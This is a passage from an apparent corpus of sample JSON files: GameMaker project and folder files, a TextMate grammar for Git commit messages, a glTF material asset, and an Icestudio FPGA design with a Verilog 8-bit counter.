    "content": "{\n    \"id\": \"2ea73365-b6f1-4bd1-a454-d57a67e50684\",\n    \"modelName\": \"GMFolder\",\n    \"mvc\": \"1.1\",\n    \"name\": \"2ea73365-b6f1-4bd1-a454-d57a67e50684\",\n    \"children\": [\n        \"d74cdac8-2717-46a5-a8ed-5f732e02a268\",\n        \"b68cebe1-d0fa-44ed-8a26-595c2885a1fc\",\n        \"1e95eeaf-b11a-44a2-a1b0-bd201f6366ee\"\n    ],\n    \"filterType\": \"GMSprite\",\n    \"folderName\": \"sprites\",\n    \"isDefaultView\": false,\n    \"localisedFolderName\": \"ResourceTree_Sprites\"\n}"
  },
  {
    "path": "samples/JSON/4DPopGit.4DProject",
    "content": "{\n\t\"$comment\": \"The project file let you override the location for most folders\"\n}\n"
  },
  {
    "path": "samples/JSON/GMS2_Project.yyp",
    "content": "{\n    \"id\": \"62aa8308-837c-4613-a44e-a1306eee5c3c\",\n    \"modelName\": \"GMProject\",\n    \"mvc\": \"1.0\",\n    \"IsDnDProject\": false,\n    \"configs\": [\n        \n    ],\n    \"option_ecma\": false,\n    \"parentProject\": {\n        \"id\": \"18731a27-007b-4c7c-802b-b7eac446e27a\",\n        \"modelName\": \"GMProjectParent\",\n        \"mvc\": \"1.0\",\n        \"alteredResources\": [\n            {\n                \"Key\": \"ed6a955d-5826-4f98-a450-10b414266c27\",\n                \"Value\": {\n                    \"configDeltas\": [\n                        \"inherited\"\n                    ],\n                    \"id\": \"a3c2778c-ba48-40f4-b180-c31dd0bf91c2\",\n                    \"resourcePath\": \"options\\\\main\\\\options_main.yy\",\n                    \"resourceType\": \"GMMainOptions\"\n                }\n            }\n        ],\n        \"hiddenResources\": [\n            \n        ],\n        \"projectPath\": \"${base_project}\"\n    },\n    \"resources\": [\n        {\n            \"Key\": \"05f45e8d-a727-4650-b0c2-0ac5f793f164\",\n            \"Value\": {\n                \"id\": \"6f75d81a-3fe8-484f-8178-ce66c6b9b8cf\",\n                \"resourcePath\": \"views\\\\05f45e8d-a727-4650-b0c2-0ac5f793f164.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"128687b6-cf4b-4bad-bfec-52960e01a538\",\n            \"Value\": {\n                \"id\": \"ec6296c1-a5d9-4c21-b3e3-5d4363a2070c\",\n                \"resourcePath\": \"views\\\\128687b6-cf4b-4bad-bfec-52960e01a538.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"1e95eeaf-b11a-44a2-a1b0-bd201f6366ee\",\n            \"Value\": {\n                \"id\": \"b109c79d-b9d0-4d6a-8b13-e460efb93824\",\n                \"resourcePath\": \"views\\\\1e95eeaf-b11a-44a2-a1b0-bd201f6366ee.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"227a1abf-7147-4a8b-bb31-62a5d3a9a07e\",\n            \"Value\": {\n                \"id\": \"d2010bb7-ac3c-4717-a93e-edb7e447e257\",\n                \"resourcePath\": \"objects\\\\obj_king\\\\obj_king.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"297651c9-b7a7-4a65-97f1-8ceb3b64f65d\",\n            \"Value\": {\n                \"id\": \"ab37c354-5987-4384-ae57-4edb8c73110d\",\n                \"resourcePath\": \"views\\\\297651c9-b7a7-4a65-97f1-8ceb3b64f65d.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"2d0a83ba-80a2-40b2-8805-93347555ef97\",\n            \"Value\": {\n                \"id\": \"cb703663-2592-4c26-bfbb-a11a76390b27\",\n                \"resourcePath\": \"objects\\\\par_depthobject\\\\par_depthobject.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"2ea73365-b6f1-4bd1-a454-d57a67e50684\",\n            \"Value\": {\n                \"id\": \"1136167c-dc54-4c46-b98d-c616e004866b\",\n                \"resourcePath\": \"views\\\\2ea73365-b6f1-4bd1-a454-d57a67e50684.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"31ff7d32-f0cd-4e2e-a129-338e3e580a1a\",\n            \"Value\": {\n                \"id\": \"027854a7-69ad-4dd9-bb97-94cf1cd09c90\",\n                \"resourcePath\": \"sprites\\\\spr_shadow\\\\spr_shadow.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"48b46420-2f90-4794-9064-b6fdfad99fbd\",\n            \"Value\": {\n                \"id\": \"843e68a6-9d39-4f4c-99b0-7e2beb280bdc\",\n                \"resourcePath\": \"views\\\\48b46420-2f90-4794-9064-b6fdfad99fbd.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"4c4a5f6b-851e-45f2-9d16-4e770693d0d6\",\n            \"Value\": {\n                \"id\": \"d27ca460-a737-425d-b658-fda4e232da2d\",\n                \"resourcePath\": \"views\\\\4c4a5f6b-851e-45f2-9d16-4e770693d0d6.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"53f34530-342f-440f-8cd3-3df3c5bfc232\",\n            \"Value\": {\n                \"id\": \"7189b8af-fafa-4643-b05a-1efec553c075\",\n                \"resourcePath\": \"views\\\\53f34530-342f-440f-8cd3-3df3c5bfc232.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"556893b0-c414-45f4-b592-5ae7021b4e74\",\n            \"Value\": {\n                \"id\": \"aec12608-534e-4e2c-ad54-c3996c929309\",\n                \"resourcePath\": \"objects\\\\depthsorter\\\\depthsorter.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"583b7bc3-11a0-419c-8028-17f69745ce53\",\n            \"Value\": {\n                \"id\": \"f6fd0fc5-a491-4c44-b798-e69b3ff043f7\",\n                \"resourcePath\": \"sprites\\\\spr_knight\\\\spr_knight.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"5fd06095-db49-460e-9954-34d8113518c0\",\n            \"Value\": {\n                \"id\": \"043b6ae1-c67b-4478-8d4a-98c54da49c59\",\n                \"resourcePath\": \"views\\\\5fd06095-db49-460e-9954-34d8113518c0.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"62e5c66d-8c36-4bc8-af71-c4119d077b56\",\n            \"Value\": {\n                \"id\": \"57e7a582-a710-4c41-9549-aa504dc9b2b0\",\n                \"resourcePath\": \"sprites\\\\spr_player_idle\\\\spr_player_idle.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"638c7030-5359-4b3c-8e90-60cb3fcb9704\",\n            \"Value\": {\n                \"id\": \"60e7c880-7135-4f49-adb6-92520a22ca65\",\n                \"resourcePath\": \"objects\\\\obj_greentree\\\\obj_greentree.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"78fc92d3-2675-43e1-a794-30066b3aea37\",\n            \"Value\": {\n                \"id\": \"7b9e43bd-7dbc-4b55-b3a5-88176788511a\",\n                \"resourcePath\": \"objects\\\\obj_knight\\\\obj_knight.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"82f217a6-9373-47d2-85d9-14ce23a512a0\",\n            \"Value\": {\n                \"id\": \"bf7cdb17-ee68-4006-b102-afa68538dd7e\",\n                \"resourcePath\": \"views\\\\82f217a6-9373-47d2-85d9-14ce23a512a0.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"83d63ce4-d03f-444b-b478-522ad5b314a9\",\n            \"Value\": {\n                \"id\": \"a927ec72-d381-4816-9d70-c9b78f3e9eb0\",\n                \"resourcePath\": \"views\\\\83d63ce4-d03f-444b-b478-522ad5b314a9.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"8a96eadc-2360-466a-ae4a-7a71b1cfda17\",\n            \"Value\": {\n                \"id\": \"f5608dcf-9a81-490d-9373-fa59fc44fdbf\",\n                \"resourcePath\": \"tilesets\\\\tileset_1\\\\tileset_1.yy\",\n                \"resourceType\": \"GMTileSet\"\n            }\n        },\n        {\n            \"Key\": \"8df8cbdc-c273-479a-83c9-496f2e62d294\",\n            \"Value\": {\n                \"id\": \"a74e5eb9-978f-47f3-aa50-20b7a3fa9baa\",\n                \"resourcePath\": \"views\\\\8df8cbdc-c273-479a-83c9-496f2e62d294.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"9c35e2b5-ef9d-468c-8d88-8e8636785ca0\",\n            \"Value\": {\n                \"id\": \"fe440907-a939-4974-83aa-853900a43472\",\n                \"resourcePath\": \"views\\\\9c35e2b5-ef9d-468c-8d88-8e8636785ca0.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"a09f41cd-a4f3-4818-9942-6c258e8a0b0e\",\n            \"Value\": {\n                \"id\": \"ae291c5c-f27e-44a2-a6a7-8192ba7a8297\",\n                \"resourcePath\": \"views\\\\a09f41cd-a4f3-4818-9942-6c258e8a0b0e.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"a9188620-a624-4a5a-83ae-a1b53faf038b\",\n            \"Value\": {\n                \"id\": \"3a6a5b33-9543-4fad-922d-403ffb3e8fa2\",\n                \"resourcePath\": \"options\\\\linux\\\\options_linux.yy\",\n                \"resourceType\": \"GMLinuxOptions\"\n            }\n        },\n        {\n            \"Key\": \"a9c4bc40-93a0-4449-a951-9bfc82428101\",\n            \"Value\": {\n                \"id\": \"6b8e239a-9414-498c-85ae-23d5f8c1cb90\",\n                \"resourcePath\": \"objects\\\\obj_collision\\\\obj_collision.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"aa4ccde8-d128-4dfe-a243-5efe2da9ff0d\",\n            \"Value\": {\n                \"id\": \"41ccb1a0-cf8e-4b28-a1fb-ce53f209bcd0\",\n                \"resourcePath\": \"views\\\\aa4ccde8-d128-4dfe-a243-5efe2da9ff0d.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"ac913661-4852-4ce1-89ce-3a031aed6119\",\n            \"Value\": {\n                \"id\": \"09ddc355-efe1-4b77-9431-3bc87009e880\",\n                \"resourcePath\": \"sprites\\\\spr_tileset1\\\\spr_tileset1.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"acfe2407-bee7-4ce9-ac58-d3327085f21b\",\n            \"Value\": {\n                \"id\": \"201500e6-154c-4c05-8221-57fdd65f74e7\",\n                \"resourcePath\": \"sprites\\\\spr_player\\\\spr_player.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"af01d96e-a301-41cc-9c82-eb60af19cbae\",\n            \"Value\": {\n                \"id\": \"34f0d902-d0aa-4ab8-8d02-9d91150b816c\",\n                \"resourcePath\": \"views\\\\af01d96e-a301-41cc-9c82-eb60af19cbae.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"b4fe38c4-c338-4d32-b85f-1b41d9a2446d\",\n            \"Value\": {\n                \"id\": \"ae19ee11-6b01-4f2b-8f55-adf5cb081961\",\n                \"resourcePath\": \"sprites\\\\spr_collision\\\\spr_collision.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"b68cebe1-d0fa-44ed-8a26-595c2885a1fc\",\n            \"Value\": {\n                \"id\": \"1f6a859b-68fa-4564-bcb6-1fe387319eb4\",\n                \"resourcePath\": \"views\\\\b68cebe1-d0fa-44ed-8a26-595c2885a1fc.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"bd8b3db8-e5e6-44f1-bfcf-45d3242a0122\",\n            \"Value\": {\n                \"id\": \"4450def6-f270-4dd7-8896-c9d8ac34be9b\",\n                \"resourcePath\": \"sprites\\\\spr_scout\\\\spr_scout.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        },\n        {\n            \"Key\": \"bffbcd96-a8c7-431f-af4f-7f66e8f84189\",\n            \"Value\": {\n                \"id\": \"bfee4d13-6e16-41f6-9fb7-095126af6fcd\",\n                \"resourcePath\": \"rooms\\\\rm_1\\\\rm_1.yy\",\n                \"resourceType\": \"GMRoom\"\n            }\n        },\n        {\n            \"Key\": \"cc3b80a7-5d09-4bea-b9c8-b093f1b244c8\",\n            \"Value\": {\n                \"id\": \"ac219fd8-ba00-4bff-857c-93d7cdb409c8\",\n                \"resourcePath\": \"views\\\\cc3b80a7-5d09-4bea-b9c8-b093f1b244c8.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"cc98d028-7bdd-4680-85f3-c87a7baa481e\",\n            \"Value\": {\n                \"id\": \"a84e7ce1-a928-4a86-bd79-8355f266e12e\",\n                \"resourcePath\": \"options\\\\windows\\\\options_windows.yy\",\n                \"resourceType\": \"GMWindowsOptions\"\n            }\n        },\n        {\n            \"Key\": \"d3e83dba-5be8-436f-866d-9a5a2120adb1\",\n            \"Value\": {\n                \"id\": \"ca2f0120-77ec-4bb4-8b0b-c12af28e2db0\",\n                \"resourcePath\": \"views\\\\d3e83dba-5be8-436f-866d-9a5a2120adb1.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"d74cdac8-2717-46a5-a8ed-5f732e02a268\",\n            \"Value\": {\n                \"id\": \"3b26d2bb-6a56-4a30-9c5a-47c3bcc83bb9\",\n                \"resourcePath\": \"views\\\\d74cdac8-2717-46a5-a8ed-5f732e02a268.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"e3e41b8b-b981-42ce-aab7-e6265764c7a8\",\n            \"Value\": {\n                \"id\": \"a24e4fd7-f4da-4da0-aff1-da1bb864c0b4\",\n                \"resourcePath\": \"views\\\\e3e41b8b-b981-42ce-aab7-e6265764c7a8.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"f1fbb653-bca3-4725-9e81-6a3556760d0c\",\n            \"Value\": {\n                \"id\": \"76dcd643-64fe-49d6-83ff-e15184b56150\",\n                \"resourcePath\": \"objects\\\\obj_scout\\\\obj_scout.yy\",\n                \"resourceType\": \"GMObject\"\n            }\n        },\n        {\n            \"Key\": \"f418569b-3bdd-4706-a0e4-364317f54032\",\n            \"Value\": {\n                \"id\": \"1292899d-f280-4f75-93b4-b2ad6099dd3d\",\n                \"resourcePath\": \"options\\\\mac\\\\options_mac.yy\",\n                \"resourceType\": \"GMMacOptions\"\n            }\n        },\n        {\n            \"Key\": \"f48fa589-53e5-4ce0-a010-c16b38192e31\",\n            \"Value\": {\n                \"id\": \"e950beb0-3503-4c3d-9cb9-8743c91d7c94\",\n                \"resourcePath\": \"views\\\\f48fa589-53e5-4ce0-a010-c16b38192e31.yy\",\n                \"resourceType\": \"GMFolder\"\n            }\n        },\n        {\n            \"Key\": \"fd46d5b1-fe49-4ecf-b809-0a2449808fbe\",\n            \"Value\": {\n                \"id\": \"09d46108-701a-4592-906f-bcb479008507\",\n                \"resourcePath\": \"sprites\\\\spr_tree\\\\spr_tree.yy\",\n                \"resourceType\": \"GMSprite\"\n            }\n        }\n    ],\n    \"script_order\": [\n        \n    ],\n    \"tutorial\": \"\"\n}"
  },
  {
    "path": "samples/JSON/Git Commit.JSON-tmLanguage",
    "content": "{\n\t\"name\": \"Git Commit Message\",\n\t\"scopeName\": \"text.git-commit\",\n\t\"fileTypes\": [\n\t\t\"COMMIT_EDITMSG\"\n\t],\n\t\"patterns\": [\n\t\t{\n\t\t\t\"name\": \"comment.line.number-sign.git-commit-message\",\n\t\t\t\"begin\": \"^#\",\n\t\t\t\"beginCaptures\": {\n\t\t\t\t\"0\": {\n\t\t\t\t\t\"name\": \"punctuation.definition.comment.git-commit-message\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"end\": \"$\",\n\t\t\t\"patterns\": [\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"comment.line.on-branch.git-commit-message\",\n\t\t\t\t\t\"match\": \"(?:On branch )([^ ]+)\",\n\t\t\t\t\t\"captures\": {\n\t\t\t\t\t\t\"1\": {\n\t\t\t\t\t\t\t\"name\": \"support.function.branch.git-commit-message\"\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"comment.line.on-branch.git-commit-message\",\n\t\t\t\t\t\"match\": \"Your branch .* '([^ ']+)'\",\n\t\t\t\t\t\"captures\": {\n\t\t\t\t\t\t\"1\": {\n\t\t\t\t\t\t\t\"name\": \"support.function.branch.git-commit-message\"\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"comment.line.untracked.git-commit-message\",\n\t\t\t\t\t\"begin\": \" Untracked files:\",\n\t\t\t\t\t\"beginCaptures\": {\n\t\t\t\t\t\t\"0\": {\n\t\t\t\t\t\t\t\"name\": \"entity.definition.untracked.git-commit-message\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"end\": \"^#$\",\n\t\t\t\t\t\"patterns\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\": \"comment.line.untracked-file.git-commit-message\",\n\t\t\t\t\t\t\t\"match\": \"\\t(.*)$\",\n\t\t\t\t\t\t\t\"captures\": {\n\t\t\t\t\t\t\t\t\"1\": {\n\t\t\t\t\t\t\t\t\t\"name\": \"support.function.file-status.git-commit-message\"\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\"2\": {\n\t\t\t\t\t\t\t\t\t\"name\": \"constant.character.branch.git-commit-message\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"comment.line.discarded.git-commit-message\",\n\t\t\t\t\t\"begin\": \" Change(?:s not staged for commit|d but not updated):\",\n\t\t\t\t\t\"beginCaptures\": {\n\t\t\t\t\t\t\"0\": {\n\t\t\t\t\t\t\t\"name\": \"entity.definition.discarded.git-commit-message\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"end\": \"^#$\",\n\t\t\t\t\t\"patterns\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\": \"comment.line.discarded.git-commit-message\",\n\t\t\t\t\t\t\t\"match\": \"\\t([^:]+):(.*)$\",\n\t\t\t\t\t\t\t\"captures\": {\n\t\t\t\t\t\t\t\t\"1\": {\n\t\t\t\t\t\t\t\t\t\"name\": \"support.function.file-status.git-commit-message\"\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\"2\": {\n\t\t\t\t\t\t\t\t\t\"name\": \"constant.character.branch.git-commit-message\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"name\": \"comment.line.selected.git-commit-message\",\n\t\t\t\t\t\"begin\": \" Changes to be committed:\",\n\t\t\t\t\t\"beginCaptures\": {\n\t\t\t\t\t\t\"0\": {\n\t\t\t\t\t\t\t\"name\": \"entity.definition.selected.git-commit-message\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"end\": \"^#$\",\n\t\t\t\t\t\"patterns\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"name\": \"comment.line.selected.git-commit-message\",\n\t\t\t\t\t\t\t\"match\": \"\\t([^:]+):(.*)$\",\n\t\t\t\t\t\t\t\"captures\": {\n\t\t\t\t\t\t\t\t\"1\": {\n\t\t\t\t\t\t\t\t\t\"name\": \"support.function.file-status.git-commit-message\"\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\"2\": {\n\t\t\t\t\t\t\t\t\t\"name\": \"constant.character.branch.git-commit-message\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t]\n\t\t},\n\t\t{\n\t\t\t\"name\": \"meta.diff.git-commit\",\n\t\t\t\"comment\": \"diff at the end of the commit message when using commit -v, or viewing a log. End pattern is just something to be never matched so that the meta continues untill the end of the file.\",\n\t\t\t\"begin\": \"diff\\\\ \\\\-\\\\-git\",\n\t\t\t\"end\": \"(?=xxxxxx)123457\",\n\t\t\t\"patterns\": [\n\t\t\t\t{\n\t\t\t\t\t\"include\": \"source.diff\"\n\t\t\t\t}\n\t\t\t]\n\t\t}\n\t],\n\t\"uuid\": \"de3fb2fc-e564-4a31-9813-5ee26967c5c8\"\n}\n"
  },
  {
    "path": "samples/JSON/Material_Alpha_01.gltf",
    "content": "{\r\n\t\"accessors\": [\r\n\t\t{\r\n\t\t\t\"bufferView\": 0,\r\n\t\t\t\"componentType\": 5126,\r\n\t\t\t\"count\": 4,\r\n\t\t\t\"type\": \"VEC3\",\r\n\t\t\t\"max\": [\r\n\t\t\t\t0.5,\r\n\t\t\t\t0.5,\r\n\t\t\t\t0.0\r\n\t\t\t],\r\n\t\t\t\"min\": [\r\n\t\t\t\t-0.5,\r\n\t\t\t\t-0.5,\r\n\t\t\t\t0.0\r\n\t\t\t],\r\n\t\t\t\"name\": \"Positions Accessor\"\r\n\t\t},\r\n\t\t{\r\n\t\t\t\"bufferView\": 1,\r\n\t\t\t\"componentType\": 5126,\r\n\t\t\t\"count\": 4,\r\n\t\t\t\"type\": \"VEC4\",\r\n\t\t\t\"name\": \"Colors Accessor\"\r\n\t\t},\r\n\t\t{\r\n\t\t\t\"bufferView\": 2,\r\n\t\t\t\"componentType\": 5126,\r\n\t\t\t\"count\": 4,\r\n\t\t\t\"type\": \"VEC2\",\r\n\t\t\t\"name\": \"UV Accessor 0\"\r\n\t\t},\r\n\t\t{\r\n\t\t\t\"bufferView\": 3,\r\n\t\t\t\"componentType\": 5125,\r\n\t\t\t\"count\": 6,\r\n\t\t\t\"type\": \"SCALAR\",\r\n\t\t\t\"name\": \"Indices Accessor\"\r\n\t\t}\r\n\t],\r\n\t\"asset\": {\r\n\t\t\"generator\": \"glTF Asset Generator\",\r\n\t\t\"version\": \"2.0\",\r\n\t\t\"extras\": {\r\n\t\t\t\"Attributes\": \"VertexColor_Vector4_Float - AlphaMode_Mask - AlphaCutoff - DoubleSided - BaseColorFactor - BaseColorTexture\"\r\n\t\t}\r\n\t},\r\n\t\"buffers\": [\r\n\t\t{\r\n\t\t\t\"uri\": \"Material_Alpha_01.bin\",\r\n\t\t\t\"byteLength\": 168\r\n\t\t}\r\n\t],\r\n\t\"bufferViews\": [\r\n\t\t{\r\n\t\t\t\"buffer\": 0,\r\n\t\t\t\"byteLength\": 48,\r\n\t\t\t\"name\": \"Positions\"\r\n\t\t},\r\n\t\t{\r\n\t\t\t\"buffer\": 0,\r\n\t\t\t\"byteOffset\": 48,\r\n\t\t\t\"byteLength\": 64,\r\n\t\t\t\"name\": \"Colors\"\r\n\t\t},\r\n\t\t{\r\n\t\t\t\"buffer\": 0,\r\n\t\t\t\"byteOffset\": 112,\r\n\t\t\t\"byteLength\": 32,\r\n\t\t\t\"name\": \"Texture Coords 0\"\r\n\t\t},\r\n\t\t{\r\n\t\t\t\"buffer\": 0,\r\n\t\t\t\"byteOffset\": 144,\r\n\t\t\t\"byteLength\": 24,\r\n\t\t\t\"name\": \"Indices\"\r\n\t\t}\r\n\t],\r\n\t\"images\": [\r\n\t\t{\r\n\t\t\t\"uri\": \"Texture_baseColor.png\"\r\n\t\t}\r\n\t],\r\n\t\"materials\": [\r\n\t\t{\r\n\t\t\t\"pbrMetallicRoughness\": {\r\n\t\t\t\t\"baseColorFactor\": [\r\n\t\t\t\t\t1.0,\r\n\t\t\t\t\t1.0,\r\n\t\t\t\t\t1.0,\r\n\t\t\t\t\t0.6\r\n\t\t\t\t],\r\n\t\t\t\t\"baseColorTexture\": {\r\n\t\t\t\t\t\"index\": 0\r\n\t\t\t\t}\r\n\t\t\t},\r\n\t\t\t\"alphaMode\": \"MASK\",\r\n\t\t\t\"alphaCutoff\": 0.7,\r\n\t\t\t\"doubleSided\": true\r\n\t\t}\r\n\t],\r\n\t\"meshes\": [\r\n\t\t{\r\n\t\t\t\"primitives\": [\r\n\t\t\t\t{\r\n\t\t\t\t\t\"attributes\": {\r\n\t\t\t\t\t\t\"POSITION\": 0,\r\n\t\t\t\t\t\t\"COLOR_0\": 1,\r\n\t\t\t\t\t\t\"TEXCOORD_0\": 2\r\n\t\t\t\t\t},\r\n\t\t\t\t\t\"indices\": 3,\r\n\t\t\t\t\t\"material\": 0\r\n\t\t\t\t}\r\n\t\t\t]\r\n\t\t}\r\n\t],\r\n\t\"nodes\": [\r\n\t\t{\r\n\t\t\t\"mesh\": 0\r\n\t\t}\r\n\t],\r\n\t\"scene\": 0,\r\n\t\"scenes\": [\r\n\t\t{\r\n\t\t\t\"nodes\": [\r\n\t\t\t\t0\r\n\t\t\t]\r\n\t\t}\r\n\t],\r\n\t\"textures\": [\r\n\t\t{\r\n\t\t\t\"source\": 0\r\n\t\t}\r\n\t]\r\n}"
  },
  {
    "path": "samples/JSON/VCT.yy",
    "content": "{\n  \"$GMScript\":\"v1\",\n  \"%Name\":\"VCT\",\n  \"isCompatibility\":false,\n  \"isDnD\":false,\n  \"name\":\"VCT\",\n  \"parent\":{\n    \"name\":\"VCT\",\n    \"path\":\"folders/VCT.yy\",\n  },\n  \"resourceType\":\"GMScript\",\n  \"resourceVersion\":\"2.0\",\n}"
  },
  {
    "path": "samples/JSON/block-sync-counter8.ice",
    "content": "{\n  \"version\": \"1.2\",\n  \"package\": {\n    \"name\": \"counter8\",\n    \"version\": \"1.0\",\n    \"description\": \"\",\n    \"author\": \"\",\n    \"image\": \"\"\n  },\n  \"design\": {\n    \"board\": \"iCEBreaker\",\n    \"graph\": {\n      \"blocks\": [\n        {\n          \"id\": \"3fe27a7f-50fc-41d7-a2a1-ad9f796d483e\",\n          \"type\": \"basic.input\",\n          \"data\": {\n            \"name\": \"clk\",\n            \"pins\": [\n              {\n                \"index\": \"0\",\n                \"name\": \"\",\n                \"value\": \"\"\n              }\n            ],\n            \"virtual\": true,\n            \"clock\": true\n          },\n          \"position\": {\n            \"x\": 96,\n            \"y\": 104\n          }\n        },\n        {\n          \"id\": \"e7174473-3686-41ee-8894-3fc87bd156d0\",\n          \"type\": \"basic.input\",\n          \"data\": {\n            \"name\": \"up\",\n            \"pins\": [\n              {\n                \"index\": \"0\",\n                \"name\": \"\",\n                \"value\": \"\"\n              }\n            ],\n            \"virtual\": true,\n            \"clock\": false\n          },\n          \"position\": {\n            \"x\": 72,\n            \"y\": 192\n          }\n        },\n        {\n          \"id\": \"630ec8a5-a44b-42a8-9e0b-e75b4e21cc22\",\n          \"type\": \"basic.output\",\n          \"data\": {\n            \"name\": \"value\",\n            \"range\": \"[7:0]\",\n            \"pins\": [\n              {\n                \"index\": \"7\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"6\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"5\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"4\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"3\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"2\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"1\",\n                \"name\": \"\",\n                \"value\": \"\"\n              },\n              {\n                \"index\": \"0\",\n                \"name\": \"\",\n                \"value\": \"\"\n              }\n            ],\n            \"virtual\": true\n          },\n          \"position\": {\n            \"x\": 680,\n            \"y\": 264\n          }\n        },\n        {\n          \"id\": \"407c5757-e32a-4624-b30a-6e0b843d378d\",\n          \"type\": \"basic.input\",\n          \"data\": {\n            \"name\": \"down\",\n            \"pins\": [\n              {\n                \"index\": \"0\",\n                \"name\": \"\",\n                \"value\": \"\"\n              }\n            ],\n            \"virtual\": true,\n            \"clock\": false\n          },\n          \"position\": {\n            \"x\": 64,\n            \"y\": 288\n          }\n        },\n        {\n          \"id\": \"371d2121-6c35-430b-8213-cabae1486eb1\",\n          \"type\": \"basic.input\",\n          \"data\": {\n            \"name\": \"reset\",\n            \"pins\": [\n              {\n                \"index\": \"0\",\n                \"name\": \"\",\n                \"value\": \"\"\n              }\n            ],\n            \"virtual\": true,\n            \"clock\": false\n          },\n          \"position\": {\n            \"x\": 80,\n            \"y\": 400\n          }\n        },\n        {\n          \"id\": \"a22dd85b-90a8-44e1-b84b-5a3e58f652d4\",\n          \"type\": \"basic.code\",\n          \"data\": {\n            \"code\": \"reg[7:0] value = 0;\\n\\nalways @(posedge clk)\\n    if (reset)\\n        value <= 0;\\n    else if (up && !down)\\n        value <= value + 1;\\n    else if (down && !up)\\n        value <= value - 1;\\n\\n        \",\n            \"params\": [],\n            \"ports\": {\n              \"in\": [\n                {\n                  \"name\": \"clk\"\n                },\n                {\n                  \"name\": \"up\"\n                },\n                {\n                  \"name\": \"down\"\n                },\n                {\n                  \"name\": \"reset\"\n                }\n              ],\n              \"out\": [\n                {\n                  \"name\": \"value\",\n                  \"range\": \"[7:0]\",\n                  \"size\": 8\n                }\n              ]\n            }\n          },\n          \"position\": {\n            